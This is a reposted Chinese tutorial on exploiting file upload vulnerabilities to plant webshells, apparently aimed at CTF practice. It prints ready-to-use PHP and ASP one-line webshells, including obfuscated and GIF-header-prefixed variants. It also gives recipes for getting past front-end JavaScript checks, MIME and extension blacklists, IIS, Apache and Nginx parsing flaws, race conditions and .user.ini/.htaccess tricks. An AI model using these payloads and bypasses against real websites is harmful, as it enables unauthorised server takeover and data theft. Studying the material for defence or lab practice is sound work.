文件上傳


參考文章:

https://www.cnblogs.com/20175211lyz/p/10989689.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html
https://xz.aliyun.com/t/7531



寫在前面:

文件上傳漏洞常用於獲取webshell,從而取得對目標網站(系統)的控制權。要獲取shell,需要: 1.知道上傳后文件所保存位置(不知道那就猜、爆破,一般是能知道的) 2.上傳后文件的名字(是否被更改)

一句話木馬

<?php eval($_POST['password']);?>

一句話木馬原理及不同類型:https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin
在文章后續會根據例子提供一句話木馬的變式

毫無過濾

  • 直接上傳即可獲取webshell

前端過濾

繞過js過濾

例:

    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("請選擇要上傳的文件!");
            return false;
        }
        //定義允許上傳的文件類型
        var allow_ext = ".jpg|.png|.gif";
        //提取上傳文件的類型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判斷上傳文件類型是否允許上傳
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "該文件不允許上傳,請上傳jpg、png、gif結尾的圖片噢!";
            alert(errMsg);
            return false;
        }
    }


繞過方式:

  • 1
    在控制台重新定義函數 function checkFile(){} 回車即可(注:需要在未觸發該函數前)
  • 2
    將一句話木馬文件后綴改為.png .jpg .gif后,點擊上傳。用BurpSuite截斷,然后將文件名再替換成.php

后端過濾

利用解析漏洞繞過

轉載,原文地址:https://blog.csdn.net/qq_42636435/article/details/88096844

    1. IIS解析漏洞

IIS 6.0在解析文件時存在以下兩個解析漏洞。
當建立.asa、.asp格式的文件夾時,其目錄下的任意文件都將被IIS當做asp文件來解析。
例如:建立文件夾parsing.asp,在parsing.asp文件夾內新建一個文本文檔test.txt,其內容為<%=NOW()%>,然后在瀏覽器內訪問。
“NOWO”是ASP提供獲取當前時間的函數,TXT是文本文檔格式,IIS是不會去解析此類文件的,應該會直接顯示其內容,而在parsing.asp文件夾中,卻被當作ASP腳本來解析。
當文件為*.asp;1.jpg時,IIS6.0同樣會以ASP腳本來執行,如:新建文件test.asp;1.jpg,內容為<%=NOW()%>。

    1. Apache解析漏洞

Apache是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷,如xxx.php.owf.rar ,”.owf”和”.rar”這兩種后綴是apache解析不了的,apache就會把xxx.php.owf.rar解析成php。
怎么去判斷是不是合法的后綴就是這個漏洞利用關鍵,測試時把常見的后綴都寫上,去測試是不是合法,任意不識別的后綴,逐級向上識別。
有些程序開發人員在上傳文件時,判斷文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等腳本擴展名,如果是,則不允許上傳,這時攻擊者就有可能上傳1.php.rar等擴展名來繞過程序檢測,並配合解析漏洞,獲取到WebShell。

    1. Nginx解析漏洞

解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。

猜測過濾規則繞過

  • 1.文件后綴名黑名單:

大小寫繞過 Php、PhP···
利用能被解析的后綴名,例如php、php3、php4、php5、php7、pht、phtml、phps

  • 2.MIME類型繞過

BurpSuite抓包,更改content-type請求頭為image/gif、image/png、image/jpg

  • 3.圖片馬內容檢測

例:

解決辦法:更換一句話木馬形式<% eval request("123")%>等等

  • 4.文件內容頭檢測

上述方法均失效時可以考慮一下網站是否檢測了文件頭
解決方法1:添加圖片文件頭到木馬文件
GIF89a? <% eval request("123")%>
文件頭對照參考:https://blog.csdn.net/rrrfff/article/details/7484109
解決方法2:將一張圖片與一句話木馬文件結合
1.記事本打開圖片,在末尾或者之中添加一句話木馬 2.使用命令將圖片與木馬文件結合,鏈接:https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html (注:麻煩,且命令好像不對)

其他姿勢

競爭上傳

  • 文件上傳后,網站系統會對文件進行惡意代碼檢測,若是存在惡意代碼,則會刪除該文件
  • 若在這個操作的時間之內,訪問該上傳的文件,利用之間的時間差來獲取shell

.user.ini 利用 (注:上傳目錄下要有可執行的php文件,一般是自帶的,而不是自己上傳的,要是可以的話,還需要這么多騷操作干什么)

大佬的教程鏈接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
利用方式的復現地址:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

Apache.htaccess

大佬的教程鏈接:https://www.cnblogs.com/hmbb/p/9689436.html

常用一句話木馬(php)

  • GIF89a? <script language="php">eval($_REQUEST[shell])</script> 比較好用
  • <script language=php>system("ls")</script>
  • <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入"h=@eval($_POST[c]);"
  • <?php $c='ass'.'ert';${c}($_POST[4]);?>

Attention:

一般要利用文件上傳漏洞需要結合上述多種操作才行,需要靈活變通


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM